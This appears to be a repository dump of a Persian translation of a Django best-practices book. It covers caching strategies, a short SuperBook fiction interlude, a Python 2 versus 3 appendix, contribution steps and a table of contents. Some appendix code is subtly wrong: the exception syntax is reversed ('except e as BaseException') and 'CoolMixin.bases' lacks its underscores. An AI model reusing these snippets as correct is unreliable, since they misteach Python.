چیزها در علوم کامپیوتر، عدم اعتبار کش ذکر می‌شود. این معمولاً زمانی دیده می‌شود که، با وجود به‌روزرسانی صفحه، تعداد بازدیدهای ویدیوی YouTube تغییر نمی‌کند.\n\nجنگو دارای یک سیستم کش انعطاف پذیر است که به شما امکان می دهد هر چیزی از یک قطعه قالب گرفته تا کل سایت را در حافظه پنهان ذخیره کنید. این انواع پشتیبان های قابل اتصال مانند ذخیره سازی مبتنی بر فایل یا مبتنی بر داده را شامل میشود.\n\nاکثر سیستم های تولیدی از یک سیستم کش مبتنی بر حافظه مانند Redis یا Memcached استفاده می کنند. این صرفاً به این دلیل است که حافظه فرار بسیار سریعتر از ذخیره سازی مبتنی بر دیسک است.\n\nچنین حافظه های کش برای ذخیره سازی داده های پرکاربرد اما زودگذر، مانند جلسات کاربر، ایده آل هستند..\n\n\n### بکند سشن ذخیره شده\n\nبه طور پیش فرض، جنگو یوزر سشن خود را در پایگاه داده ذخیره می کند. این معمولاً برای هر درخواست بازیابی می شود. برای بهبود عملکرد، داده های سشن را می توان با تغییر تنظیمات SESSION_ENGINE در حافظه ذخیره کرد. به عنوان مثال، موارد زیر را در settings.py اضافه کنید تا داده‌های جلسه را در حافظه پنهان خود ذخیره کنید:\n- SESSION_ENGINE = \"django.contrib.sessions.backends.cache\"\n\nاز آنجایی که برخی از حافظه پنهان می‌توانند داده‌های قدیمی را که منجر به از دست رفتن داده‌های جلسه می‌شود، از بین ببرد، ترجیح داده می‌شود از Redis یا Memcached به عنوان ذخیره‌گاه سشن با محدودیت‌های حافظه کافی برای پشتیبانی از حداکثر تعداد یوزر سشن های فعال استفاده شود.\n\n\n### فریم ورک های ذخیره سازی\n\nبرای استراتژی های ذخیره سازی اولیه، ممکن است استفاده از فریم ورک ذخیره سازی آسان تر باشد. از جمله محبوب ترین ها می توان به django-cache-machine و django-cachalot اشاره کرد. آنها می توانند سناریوهای رایج را مدیریت کنند، مانند ذخیره خودکار نتایج جستجوها برای جلوگیری از بازدید از پایگاه داده هر بار که خواندن انجام می دهید.\nساده ترین آنها جنگو-کاچالوت، جانشین Johnny Cache است. به پیکربندی بسیار کمی نیاز دارد. این برای سایت‌هایی که دارای چندین خواندن و نوشتن نادر هستند (یعنی اکثریت قریب به اتفاق برنامه‌ها) ایده‌آل است، تمام پرس‌و‌جوهای خوانده‌شده جنگو ORM را به شیوه‌ای ثابت ذخیره می‌کند.\n\n\n### الگوهای ذخیره سازی\n\nهنگامی که سایت شما شروع به دریافت ترافیک سنگین نمود، باید شروع به کاوش چندین استراتژی ذخیره سازی در سراسر پشته خود کنید. با استفاده از Varnish، یک سرور کش که بین کاربران شما و جنگو قرار می گیرد، بسیاری از درخواست های شما ممکن است حتی به سرور جنگو هم نرسند.\n\nوارنیش می تواند باعث شود صفحات بسیار سریع بارگذاری شوند (گاهی اوقات صدها برابر سریعتر از حالت عادی). با این حال، در صورت استفاده نادرست، ممکن است صفحات ایستا را به کاربران شما ارائه دهد. Varnish را می توان به راحتی برای تشخیص صفحات پویا یا بخش های پویا از یک صفحه مانند سبد خرید پیکربندی کرد.\n\nذخیره سازی عروسک روسی (Russian doll caching) که در جامعه ریل محبوب است، یک الگوی جالب برای تمپلیت الگوی caching validation است. صفحه تایم لاین یک کاربر را با مجموعه‌ای از پست‌ها تصور کنید که هر کدام شامل فهرست تودرتویی از نظرات است. در واقع، کل صفحه را می توان به عنوان چندین لیست تو در تو از محتوا در نظر گرفت. در هر سطح، قطعه قالب رندر شده کش می شود.\nبنابراین، اگر یک نظر جدید به یک پست اضافه شود، تنها پست مرتبط و کش های جدول زمانی باطل می شوند.\n\nابتدا محتوای کش را مستقیماً خارج از محتوای تغییر یافته باطل می کنیم و به تدریج حرکت می کنیم تا زمانی که به بیرونی ترین محتوا برسیم. وابستگی های بین مدل ها باید دنبال شود تا این الگو کار کند.\n\nیکی دیگر از الگوهای رایج حافظه پنهان، کش کردن برای همیشه است. حتی پس از تغییر محتوا، کاربر ممکن است داده های قدیمی را از حافظه پنهان دریافت کند. با این حال، یک کار ناهمزمان، مانند کار Celery، نیز برای به‌روزرسانی حافظه پنهان فعال می‌شود. همچنین می توانید به طور دوره ای کش را در یک بازه زمانی مشخص گرم کنید تا محتوا را تازه کنید.\n\nاساساً، یک استراتژی ذخیره سازی موفق، بخش های استاتیک و پویا یک سایت را شناسایی می کند. برای بسیاری از سایت‌ها، بخش‌های پویا، داده‌های خاص کاربر هستند زمانی که وارد سیستم میشوید.\n\nذخیره سازی نهان را به عنوان بخش جدایی ناپذیر عملکرد سایت خود تلقی نکنید. حتی اگر سیستم کش خراب شود، سایت باید به حالت کندتر اما کارآمد برگردد.\n\n\n**Cranos**:\n<pre>\n    It was six in the morning and the SHIM building was surrounded by a\n    grey fog. Somewhere inside, a small conference room had been designated\n    the war room. For the last three hours, the SuperBook team had been\n    holed up here diligently executing their pre-go-live plan.\n\n    More than 30 users had logged on the IRC chatroom #superbookgolive\n    from various parts of the world. The chat log was projected on a giant\n    whiteboard. When the last item was struck off, Evan glanced at Steve.\n    Then, he pressed a key triggering the deployment process.\n    \n    The room fell silent as the script output kept scrolling off the wall. One\n    error, Steve thought, just one error can potentially set them back by hours.\n    Several seconds later, the command prompt reappeared. It was live! The\n    team erupted in joy. Leaping from their chairs they gave high-fives to\n    each other. Some were crying tears of happiness. After weeks of\n    uncertainty and hard work, it all seemed surreal.\n\n    However, the celebrations were short-lived. A loud explosion from above\n    shook the entire building. Steve knew the second breach had begun. He\n    shouted to Evan, \"don't turn on the beacon until you get my message\",\n    and sprinted out of the room.\n    \n    As Steve hurried up the stairway to the rooftop, he heard the sound of\n    footsteps above him. It was Madam O. She opened the door and flung\n    herself in. He could hear her screaming \"no!\" and a deafening blast shortly\n    after that.\n    \n    By the time he reached the rooftop, he saw Madam O sitting with her back\n    against the wall. She was clutching her left arm and wincing in pain. Steve\n    slowly peered around the wall. At a distance, a tall bald man seemed to be\n    working on something with the help of two robots.\n    \n    \"He looks like....\" Steve broke off, unsure of himself.\n    \n    \"Yes, it is Hart. Rather I should say he is Cranos now.\"\n    \n    \"What?\"\n    \n    \"Yes, a split personality. A monster that laid hidden in Hart's mind for\n    years. I tried to help him control it. Many years back, I thought I had\n    stopped it from ever coming back. However, all this stress took a toll on\n    him. Poor thing, if only I could get near him.\"\n    \n    Poor thing indeed, he nearly tried to kill her. Steve took out his mobile\n    and sent out a message to turn on the beacon. He had to improvise.\n    \n    With his hands high in the air and fingers crossed, he stepped out. The\n    two robots immediately aimed directly at him. Cranos motioned them to\n    stop.\n\n    \"Well, who do we have here? Mr. SuperBook himself. Did I crash into\n    your launch party, Steve?\"\n    \n    \"It was our launch, Hart.\"\n    \n    \"Don't call me that\", growled Cranos. \"That guy was a fool. He wrote the\n    Sentinel code but he never understood its potential. I mean, just look at\n    what Sentinels can do, unravel every cryptographic algorithm known to\n    man. What happens when it enters an intergalactic network?\"\n    \n    The hint was not lost on Steve. \"SuperBook?\" he asked slowly.\n    \n    Cranos let out a malicious grin. Behind him, the robots were busy wiring\n    into SHIM's core network. \"While your SuperBook users will be busy\n    playing SuperVille, the tentacles of Sentinel will spread into new\n    unsuspecting worlds. Critical systems of every intelligent species will be\n    sabotaged. The Supers will have to bow to a new intergalactic supervillain\n    Cranos.\"\n    \n    As Cranos was delivering this extended monologue, Steve noticed a\n    movement of the corner of his eye. It was Acorn, the super-intelligent\n    squirrel, scurrying along the right edge of the rooftop. He also spotted\n    Hexa hovering strategically on the other side. He nodded at them.\n    \n    Hexa levitated a garbage bin and flung it towards the robots. Acorn\n    distracted them with high-pitched whistles. \"Kill them all!\" Cranos said\n    irritably. As he turned to watch his intruders, Steve fished out his phone,\n    dialed into FaceTime and held it towards Cranos.\n    \n    \"Say hello to your old friend, Cranos,\" said Steve.\n    \n    Cranos turned to face the phone and the screen revealed Madam O's face.\n    With a smile, she muttered under her breath, \"Taradiddle Bumfuzzle!\"\n    \n    The expression on Cranos's face changed instantly. The seething anger\n    disappeared. He now looked like a man they had once known.\n    \n    \"What happened?\" asked Hart confused.\n    \n    \"We thought we had lost you,\" said Madam O over the phone. \"I had to\n    use hypnotic trigger words to bring you back.\"\n    \n    Hart took a moment to survey the scene around him. Then, he slowly\n    smiled and nodded at her.\n    \n    ----------------------------------------------------\n    \n    One Year Later\n    \n    Who would have guessed Acorn would turn into an intergalactic singing\n    sensation in less than a year? His latest album Acorn Unplugged debuted\n    at the top of Billboard's Top 20 chart. He threw a grand party in his new\n    white mansion overlooking a lake.\n    \n    The guest list included superheroes, pop stars, actors, and celebrities of all\n    sorts.\n    \n    \"So, there was a singer in you after all,\" said Captain Obvious holding a\n    martini.\n    \n    \"I guess there was,\" replied Acorn. He looked dazzling in a golden tuxedo\n    with all sorts of bling-bling.\n    \n    Steve appeared with Hexa in tow, who looked ravishing in a flowing\n    silver gown.\n    \n    \"Hey Steve, Hexa. It has been a while. Is SuperBook still keeping you late\n    at work, Steve?\"\n    \n    \"Not so much these days. Knock on wood,\" replied Hexa with a smile.\n    \n    \"Ah, you guys did a fantastic job. I owe a lot to SuperBook. My first single,\n    'Warning: Contains Nuts', was a huge hit in the Tucana galaxy. They\n    watched the video on SuperBook more than a billion times!\"\n    \n    \"I am sure every other superhero has a good thing to say about SuperBook\n    too. Take Blitz. His AskMeAnything interview won back the hearts of his\n    fans. They were thinking that he was on experimental drugs all this time.\n    It was only when he revealed that his father was Hurricane that his\n    powers made sense.\"\n    \n    \"By the way, how is Hart doing these days?\"\n    \n    \"Much better,\" said Steve. \"He got professional help. The sentinels were\n    handed back to S.H.I.M. They are developing a new quantum\n    cryptographic algorithm that will be much more secure.\"\n    \n    \"So, I guess we are safe until the next supervillain shows up,\" said Captain\n    Obvious hesitantly.\n    \n    \"Hey, at least the beacon works,\" said Steve, and the crowd burst into\n    laughter.\n</pre>\n\n\n### خلاصه\n\nدر این فصل آخر، ما به رویکردهای مختلف برای پایدار، قابل اعتماد و سریع کردن برنامه جنگو شما نگاه کردیم. به عبارت دیگر، آن را آماده تولید کنیم. اگرچه مدیریت سیستم ممکن است به خودی خود یک رشته کامل باشد، دانش منصفانه از وب استک ضروری است. چندین گزینه میزبانی از جمله PaaS، VPS و Serverless را بررسی کردیم.\n\nهمچنین چندین ابزار استقرار خودکار و یک سناریوی استقرار معمولی را بررسی کردیم. در نهایت، چندین تکنیک را برای بهبود عملکرد frontend و backend پوشش دادیم.\n\nمهمترین نقطه عطف یک وب سایت تکمیل و رساندن آن به مرحله تولید است. با این حال، این به هیچ وجه پایان سفر توسعه شما نیست. ویژگی‌ها، تغییرات و بازنویسی‌های جدیدی وجود خواهد داشت.\nهر بار که کد را دوباره مرور می‌کنید، از این فرصت استفاده کنید تا یک قدم به عقب برگردید و طرحی تمیزتر پیدا کنید، یک الگوی پنهان را شناسایی کنید یا به پیاده‌سازی بهتری فکر کنید. توسعه دهندگان دیگر، و شاید خود آینده شما، از شما برای آن تشکر خواهند کرد.\n\n"
  },
  {
    "path": "Appendix-A-Python2-Versus-Python3/README.md",
    "content": " # پایتون 2 در مقابل پایتون 3\nتمام نمونه کدهای این کتاب برای پایتون 3.6 نوشته شده است. \nبه جز تغییرات بسیار جزیی، آنها باید در پایتون 2.7 نیز کار کنند. \nنویسنده بر این باور است که پایتون 3 از نقطه ی اوج برای انتخاب ترجیحی برای پروژه های جدید جنگو عبور کرده است.\n\n\nقرار بود توسعه ی پایتون 2.7 در سال 2015 به پایان برسد اما برای 5 سال دیگر تا سال 2020 تمدید شد. \nپایتون 2.8 وجود نخواهد داشت. همان طور که در **فصل 2**، طراحی برنامه ذکر شد، \nبیشتر توزیع های اصلی لینوکس و فروشندگان ابری به طور کامل به استفاده از Python 3 به عنوان پیش فرض یا پشتیبانی از آن روی آورده اند.\n\n\nاین پیوست برای توسعه دهندگانی نوشته شده  که با پایتون 3 آشنایی ندارند. \nپیشینه ی تاریخی مختصر و تغییرات ترکیبی در پایتون 3 مورد بحث قرار گرفته است. \nبه جای ارائه ی پوشش جامع از ویژگی های Python 3، تنها موارد مربوط به توسعه دهندگان جنگو پوشش داده شده است.\n\n### پایتون 3\n\nپایتون 3 از سر ناچاری متولد شد. \nیکی از مزاحمت های اصلی پایتون 2، مدیریت ناسازگار آن با کاراکترهای غیرانگلیسی \nبود (که به طور معمول به عنوان خطای بدنام UnicodeDecode نشان داده می شود). \nGuido پروژه Python 3 را برای پاکسازی تعدادی از چنین مشکلات زبانی و در عین حال شکستن سازگاری با نسخه های پیشین، آغاز کرد.\n\n\nاولین نسخه ی آلفا پایتون 3.0 در آگوست 2007 ساخته شد. \nاز آن زمان، پایتون 2 و پایتون 3 چندین سال به طور موازی توسط تیم توسعه ی اصلی توسعه داده شده اند. \nدر نهایت، انتظار می رود پایتون 3 آینده ی این زبان باشد.\n\n\n### پایتون 3 برای جنگویی ها\nاین بخش مهم ترین تغییرات پایتون 3 را از دیدگاه توسعه دهندگان جنگو پوشش می دهد. \nبرای درک لیست کامل تغییرات، به بخش خواندن توصیه شده در پایان مراجعه کنید.\n\n\nمثال‌ها در پایتون 2 و پایتون 3 ارائه شده‌اند. \nبسته به نوع نصب شما، ممکن است لازم باشد همه دستورات پایتون 3 از پایتون به پایتون 3 تغییر کنند.\n\n\n**همه متدهای «__unicode__» را به «__str__» تغییر دهید**\n\nدر پایتون 3، متد «()__str__» برای نمایش رشته‌ای مدل‌های شما \nبه جای متد «()__unicode__» با صدای نامناسب فراخوانی می‌شود. \nاین یکی از واضح ترین راه های شناسایی کدهای پورت شده پایتون 3 است:\n\n\n**python 2**\n\n```python\nclass Person(models.Model):\n    name = models.TextField()\n\n    def __unicode__(self):\n        return self.name\n```\n\n\n**python 3**\n\n```python\nclass Person(models.Model):\n    name = models.TextField()\n\n    def __str__(self):\n        return self.name\n```\nاین نشان دهنده ی تفاوت در نحوه ی برخورد پایتون 3 با رشته ها است. \nدر Python 2، نمایش قابل خواندن توسط انسان یک کلاس را \nمی توان با «()__str__» (بایت) یا «()__unicode__» (متن) برگرداند. \nبا این حال، در پایتون 3، نمایش قابل خواندن به سادگی توسط «()__str__» (متن) برگردانده می شود.\n\n\n### همه کلاس ها از شی ارث می برند\n\nپایتون 2 دارای دو نوع کلاس است: سبک قدیمی (کلاسیک) و سبک جدید. \nکلاس های سبک جدید کلاس هایی هستند که به طور مستقیم یا غیرمستقیم از شی به ارث می برند. \nفقط کلاس‌های سبک جدید می‌توانند از ویژگی‌های پیشرفته پایتون مانند اسلات‌ها، توصیف‌گرها و ویژگی‌ها استفاده کنند. \nبسیاری از این ها توسط جنگو استفاده می شود. \nبا این حال، کلاس ها به دلایل سازگاری هنوز به طور پیش فرض قدیمی هستند.\n\n\nدر پایتون 3، کلاس‌های قدیمی دیگر وجود ندارند. \nهمانطور که در جدول زیر مشاهده می شود، \nحتی اگر به صراحت هیچ کلاس والد را ذکر نکنید، \nکلاس شی به عنوان پایه وجود خواهد داشت. \nبنابراین، همه کلاس ها به سبک جدید هستند:\n\n**python 2**\n\n```python\n>>> class CoolMixin:\n... pass\n>>> CoolMixin.__bases__\n()\n```\n\n**python 3**\n\n```python\n>>> class CoolMixin:\n... pass\n>>> CoolMixin.bases\n(<class 'object'>,)\n```\n\n**فراخوانی ()super آسانتر است**\n\nفراخوانی ساده‌تر  ()super، بدون هیچ آرگومان، \nمقداری از تایپ کردن در پایتون 3 را برای شما ذخیره می‌کند:\n\n\n**python 2**\n\n```python\nclass CoolMixin(object):\n    def do_it(self):\n        return super(CoolMixin, self).do_it()\n```\n\n\n**python 3**\n\n```python\nclass CoolMixin:\n    def do_it(self):\n        return super().do_it()\n```\n\n\nتعیین نام و نمونه کلاس اختیاری است، \nبنابراین کد شما **DRY** و کمتر مستعد خطا در هنگام بازآفرینی است.\n\n\n### ورودی های مرتبط بایستی صریح باشند\n\nساختار دایرکتوری زیر را برای بسته ای به نام app1 تصور کنید:\n\n\n```\n/app1\n /__init__.py\n /models.py\n /tests.py\n```\n\nاکنون، در پایتون 3، بیایید موارد زیر را در دایرکتوری والد app1 اجرا کنیم:\n\n\n```\n$ echo \"import models\" > app1/tests.py\n\n$ python -m app1.tests\nTraceback (most recent call last):\n ... omitted ...\nImportError: No module named 'models'\n\n$ echo \"from . import models\" > app1/tests.py\n\n$ python -m app1.tests\n# Successfully imported\n```\n\nدر یک بسته، هنگام مراجعه به یک ماژول خواهر و برادر، \nبایستی از ورودی های مرتبط صریح استفاده کنید. \nمی‌توانید «__init__.py» را در پایتون 3 حذف کنید، \nاگرچه معمولاً برای شناسایی یک بسته استفاده می‌شود.\n\nدر پایتون 2، می‌توانید از ورود مدل‌ها برای وارد کردن موفقیت آمیز ماژول «models.py» استفاده کنید. \nبا این حال، مبهم است و می تواند به طور تصادفی هر «models.py» دیگری را در مسیر پایتون شما وارد کند. \nاز این رو، این در پایتون 3 ممنوع است و در پایتون 2 نیز ممنوع است.\n\n### اHttpRequest و HttpResponse دارای انواع str و bytes هستند\n\nما مراقبیم که داده‌هایی را که از HTTP می‌آیند یا از آن طریق خارج می‌شوند، \nکه بر حسب بایت هستند، \nدر مقابل متن‌های درون چارچوب، که رشته های بومی (یونیکد) هستند، مخلوط نکنیم.\n\nاساساً برای اشیاء HttpRequest و HttpResponse موارد زیر را در نظر داشته باشید:\n\n- عنوان ها همیشه اشیاء «str» خواهند بود\n- جریان های ورودی و خروجی همیشه اشیاء بایتی خواهند بود\n\n\nبرخلاف پایتون 2، رشته ها و بایت ها به طور ضمنی \nدر حین انجام مقایسه یا الحاق با یکدیگر تبدیل نمی شوند. Strings به معنی فقط رشته های یونیکد است.\n\n\n### رشته های f یا رشته های قالب بندی شده\n\nدر پایتون 3، ممکن است لفظ های رشته ای را با پیشوند f ببینید. \nاین رشته ها ممکن است حاوی عباراتی در داخل براکت های فرفری باشند، \nمشابه رشته های قالب پذیرفته شده توسط `()str.format`. \nآنها در زمان اجرا با استفاده از پروتکل `()format` ارزیابی خواهند شد.\n\n\nدر اینجا چند نمونه آورده شده است:\n\n```\n>>> class Person:\n...    def __init__(self, name):\n...       self.name = name\n...    def __str__(self):\n...       return f\"name is {self.name}\"\n...\n\n>>> p = Person(\"Hexa\")\n\n>>> str(p)\n'name is Hexa'\n```\n\nاگرچه ممکن است این ترکیب در ابتدا بیگانه به نظر برسد، \nاما استفاده از آن راحت‌تر از جایگزین‌های قالب‌بندی رشته‌ای است.\n\n\n### تغییرات و بهبود ترکیب استثنا\n\nترکیب و عملکرد مدیریت استثنا در پایتون 3 به طور قابل توجهی بهبود یافته است.\n\n\nدر پایتون 3، شما نمی توانید از نحو جدا شده با کاما برای عبارت `except` استفاده کنید. \nبه جای آن از کلمه کلیدی `as` استفاده کنید:\n\n**python 2**\n\n```python\ntry:\n  pass\nexcept e, BaseException:\n  pass\n```\n\n**python 2 and 3**\n\n```python\ntry:\n    pass\nexcept e as BaseException:\n    pass\n```\n\n\nترکیب جدید برای پایتون 2 نیز توصیه می شود.\n\nدر پایتون 3، همه ی استثناها باید (مستقیم یا غیرمستقیم) از `BaseException` مشتق شوند. \nدر عمل، شما استثناهای سفارشی خود را با استخراج از کلاس `Exception` ایجاد خواهید کرد.\n\nبه عنوان یک پیشرفت عمده در گزارش خطا، \nاگر یک استثنا در هنگام مدیریت یک استثنا رخ دهد، همه ی زنجیره ی استثناها گزارش می شود:\n\n\n**python 2**\n\n```python\n>>> try:\n...   print(undefined)\n... except Exception:\n...   print(oops)\n...\n\nTraceback (most recent call\nlast):\n File \"<stdin>\", line 4, in\n<module>\nNameError: name 'oops' is not defined\n```\n\n**python 3**\n\n```python\n>>> try:\n...   print(undefined)\n... except Exception:\n...   print(oops)\n...\n\nTraceback (most recent call last):\nFile \"<stdin>\", line 2, in <module>\nNameError: name 'undefined' is not defined\nDuring handling of the above exception,\nanother exception occurred:\nTraceback (most recent call last):\nFile \"<stdin>\", line 4, in <module>\nNameError: name 'oops' is not defined\n```\n\nوقتی به این ویژگی عادت کردید، قطعا در پایتون 2 آن را از دست خواهید داد.\n\n\n### کتابخانه ی استاندارد، دوباره سازماندهی شد\n\nتوسعه دهندگان اصلی کتابخانه ی استاندارد پایتون را پاکسازی و بهتر سازماندهی کرده اند. \nبه طور مثال، `SimpleHTTPServer` اکنون در ماژول `http.server` زندگی می کند:\n\n**python 2**\n\n```python\n$ python -m SimpleHTTPServer\nServing HTTP on 0.0.0.0 port 8000 ...\n```\n\n**python 3**\n\n```python\n$python -m http.server\nServing HTTP on 0.0.0.0 port 8000 ...\n```\n\n### چیزهای خوب جدید\n\nپایتون 3 فقط در مورد اصلاح زبان نیست. \nهمچنین جایی است که توسعه ی پایتون به صورت بی‌نظیر رخ می‌دهد. \nاین به معنای بهبود زبان از نظر ترکیب، عملکرد و عملکرد داخلی است.\n\n\nبرخی از ماژول های جدید قابل توجه اضافه شده به پایتون 3 به شرح زیر است:\n- asyncio: ورودی/خروجی ناهمزمان، حلقه رویداد، برنامه‌ها و وظایف\n- اسرار: اعداد تصادفی رمزنگاری قوی\n- unittest.mock: کتابخانه شی ساختگی برای آزمایش\n- pathlib: مسیرهای سیستم فایل شی گرا\n- آمار: توابع آمار ریاضی\n\n\nحتی اگر برخی از این ماژول ها به وسیله ی پایتون 2 پشتیبانی شوند، \nمهاجرت به پایتون 3 و استفاده از آنها به عنوان ماژول های داخلی جذاب تر است.\n\n\n#### اPyvenv و pip داخلی سازی شده اند\n\nبیشتر توسعه دهندگان جدی پایتون استفاده از محیط های مجازی را \nترجیح می دهند. `virtualenv` برای جداسازی تنظیمات پروژه از نصب پایتون \nدر سراسر سیستم بسیار محبوب است. \nخوشبختانه، پایتون 3.3 با یک عملکرد مشابه با استفاده از ماژول `venv` یکپارچه شده است.\n\n\nاز پایتون 3.4، یک محیط مجازی جدید با `pip`، \nیک نصب کننده ی محبوب، از پیش نصب می شود:\n\n\n```shell\n$ python -m venv djenv\n[djenv] $ source djenv/bin/activate\n[djenv] $ pip install django\n```\n\n### سایر تغییرات\n\nما نمی‌توانیم تمام تغییرات و بهبودهای Python 3 را در این ضمیمه قرار دهیم. \nبا این حال، سایر تغییرات رایج به شرح زیر است:\n\n1. اکنون `()print` یک تابع است: در گذشته یک دستور بود، یعنی آرگومان ها در پرانتز نبودند.\n2. اعداد صحیح سرریز نمی شوند: `sys.maxint` قدیمی است. اعداد صحیح دقت نامحدودی خواهند داشت\n3. نابرابری `operator <>` حذف شده است: به جای آن از != استفاده کنید\n4. تقسیم عدد صحیح واقعی: در پایتون 2، 3/2 به 1 محاسبه می شود. در پایتون 3 به درستی به 1.5 محاسبه می شود.\n5. از محدوده به جای xrange استفاده کنید: `()range` اکنون تکرارگرها را برمی گرداند، همانطور که `xrange()` در گذشته کار می کرد.\n6. کلیدهای دیکشنری نماها هستند: کلاس‌های dict و مانند dict (مانند `QueryDict`) به جای فهرست‌هایی برای فراخوانی‌های متد `()keys` و `()items` و `()values` تکرارگرها را برمی‌گردانند.\n\n\n\n### اطلاعات بیشتر\n\n- مطالب جدید در پایتون 3.0 توسط Guido را بخوانید\n- برای اطلاع از موارد جدید در هر نسخه از پایتون، موارد جدید در پایتون را در https://docs.python.org/3/whatsnew/ بخوانید.\n- For richly-detailed answers about Python 3, read Python 3 Q & A by Nick Coghlan\nat http://python-notes.curiousefficiency.org/en/latest/python3/questions_and_answers.html\n- برای پاسخ‌های کامل و مفصل درباره ی پایتون 3، پرسش و پاسخ پایتون 3 توسط نیک کوگلان را در آدرس مورد اشاره بخوانید.\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "<div dir=\"rtl\">\n\n# چطور در ترجمه میتوانم مشارکت داشته باشم؟\n\n- یک فصلی که در وضعیت \"رزرو نشده\" قرار دارد را انتخاب کنید.\n- یک issue باز کنید و فصل مورد نظرتان را آنجا اعلام کنید.\n- این ریپازیتوری را Fork کنید.\n- ترجمه کنید و Pull request بفرستید.\n  \n </div>\n"
  },
  {
    "path": "README.md",
    "content": " # ترجمه آزاد کتاب  Django Design Patterns and Best Practices\n\n![Cover](cover.jpg)\n\nقبل از شروع فهرست کتاب، اگر مایل به مشارکت هستید، [نحوه مشارکت](https://github.com/ftg-iran/ddpabp-persian/blob/main/CONTRIBUTING.md) را حتما مطالعه کنید.\n\nشما می توانید برای کمک کردن و خشنود کردن و انگیزه دادن به تیم ما، اهدای مالی به خیریه‌ی محک داشته باشید.\nلینک درگاه خیریه محک در سمت راست صفحه درج شده است. لازم به ذکر است که اگر مبلغی را اهدا کرده اید چون ما بی خبر از آن کار هستیم، یک رسید از آن داخل [گروه تلگرامی ما](https://t.me/dfp_farsi) آپلود کنید.\n\n\n### فهرست مطالب\n\n<div dir=\"rtl\">\n<details>\n  <summary><a href=\"https://github.com/AmirAref/ddpabp-persian/tree/main/01-%20Django%20and%20Patterns#%D8%AC%D9%86%DA%AF%D9%88-%D8%A7%D9%84%DA%AF%D9%88%D9%87%D8%A7\">جنگو و الگوها</a></summary>\n  <br>\n\n  - [چرا جنگو؟](/01-%20Django%20and%20Patterns/README.md#%DA%86%D8%B1%D8%A7-%D8%AC%D9%86%DA%AF%D9%88)\n  - [داستان جنگو ](/01-%20Django%20and%20Patterns/README.md#%D8%AF%D8%A7%D8%B3%D8%AA%D8%A7%D9%86-%D8%AC%D9%86%DA%AF%D9%88)\n  - [جنگو چگونه کار می‌کند؟ ](/01-%20Django%20and%20Patterns/README.md#%D8%AC%D9%86%DA%AF%D9%88-%DA%86%DA%AF%D9%88%D9%86%D9%87-%DA%A9%D8%A7%D8%B1-%D9%85%DB%8C-%DA%A9%D9%86%D8%AF)\n  - [الگو چیست؟ ](/01-%20Django%20and%20Patterns/README.md#%D8%A7%D9%84%DA%AF%D9%88-%DA%86%DB%8C%D8%B3%D8%AA)\n  - [الگوها در این کتاب ](/01-%20Django%20and%20Patterns/README.md#%D8%A7%D9%84%DA%AF%D9%88%D9%87%D8%A7-%D8%AF%D8%B1-%D8%A7%DB%8C%D9%86-%DA%A9%D8%AA%D8%A7%D8%A8)\n  - [نتیجه‌گیری](/01-%20Django%20and%20Patterns/README.md#%D8%AE%D9%84%D8%A7%D8%B5%D9%87)\n</details>\n\n<details>\n  <summary><a href=\"/02-%20Application%20Design/README.md#%D8%B7%D8%B1%D8%A7%D8%AD%DB%8C-%D8%A8%D8%B1%D9%86%D8%A7%D9%85%D9%87\">طراحی برنامه</a></summary>\n  <br>\n\n  - [چگونه نیازها را جمع‌آوری کنیم؟](/02-%20Application%20Design/README.md#%DA%86%DA%AF%D9%88%D9%86%D9%87-%D9%86%DB%8C%D8%A7%D8%B2%D9%85%D9%86%D8%AF%DB%8C%D9%87%D8%A7-%D8%B1%D8%A7-%D8%AC%D9%85%D8%B9%D8%A2%D9%88%D8%B1%DB%8C-%DA%A9%D9%86%DB%8C%D9%85)\n  - [آیا شما یک داستان‌گو هستید؟ ](/02-%20Application%20Design/README.md#%D8%A2%DB%8C%D8%A7-%D8%B4%D9%85%D8%A7-%DB%8C%DA%A9-%D9%82%D8%B5%D9%87%DA%AF%D9%88-%D9%87%D8%B3%D8%AA%DB%8C%D8%AF)\n  - [HTML mockups ](/02-%20Application%20Design/README.md#%D9%85%D8%A7%DA%A9%D8%AA%D9%87%D8%A7%DB%8C-html)\n  - [طراحی برنامه ](/02-%20Application%20Design/README.md#%D8%B7%D8%B1%D8%A7%D8%AD%DB%8C-%D8%A7%D9%BE%D9%84%DB%8C%DA%A9%DB%8C%D8%B4%D9%86)\n  - [Best Practice ها قبل از شروع یک پروژه ](/02-%20Application%20Design/README.md#%D8%A8%D9%87%DB%8C%D9%86%D9%87%D8%AA%D8%B1%DB%8C%D9%86-%D8%B1%D9%88%D8%B4%D9%87%D8%A7-%D9%82%D8%A8%D9%84-%D8%A7%D8%B2-%D8%B4%D8%B1%D9%88%D8%B9-%D9%BE%D8%B1%D9%88%DA%98%D9%87)\n  - [SuperBook - ماموریت شما، اگر بخواهید آن را بپذیرید](/02-%20Application%20Design/README.md#%D8%B3%D9%88%D9%BE%D8%B1%D8%A8%D9%88%DA%A9-%D9%85%D8%A3%D9%85%D9%88%D8%B1%DB%8C%D8%AA%DB%8C-%DA%A9%D9%87-%D8%A8%D8%A7%DB%8C%D8%AF-%D8%A8%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C%D8%AF)\n  - [نتیجه‌گیری](/02-%20Application%20Design/README.md#%D8%AE%D9%84%D8%A7%D8%B5%D9%87)\n\n</details>\n\n<details>\n  <summary><a href=\"/03-%20Models/README.md#%D9%85%D8%AF%D9%84%D9%87%D8%A7\">مدل‌ها</a></summary>\n  <br>\n\n  - [M بزرگ‌تر از V و C است](/03-%20Models/README.md#%D8%A7%D9%85-%D8%A8%D8%B2%D8%B1%DA%AF-%D8%AA%D8%B1-%D8%A7%D8%B2-%D9%88%DB%8C-%D9%88-%D8%B3%DB%8C-%D8%A8%D8%B2%D8%B1%DA%AF-%D8%AA%D8%B1-%D8%A7%D8%B2-%D9%88%DB%8C-%D8%A7%D8%B3%D8%AA)\n  - [شکار مدل ](/03-%20Models/README.md#%D8%B4%DA%A9%D8%A7%D8%B1-%D9%85%D8%AF%D9%84%D9%87%D8%A7)\n  - [الگوهای ساختاری ](/03-%20Models/README.md#%D8%A7%D9%84%DA%AF%D9%88%D9%87%D8%A7%DB%8C-%D8%B3%D8%A7%D8%AE%D8%AA%D8%A7%D8%B1%DB%8C)\n  - [الگوهای بازیابی ](/03-%20Models/README.md#%D8%A7%D9%84%DA%AF%D9%88%D9%87%D8%A7%DB%8C-%D8%A8%D8%A7%D8%B2%DB%8C%D8%A7%D8%A8%DB%8C)\n  - 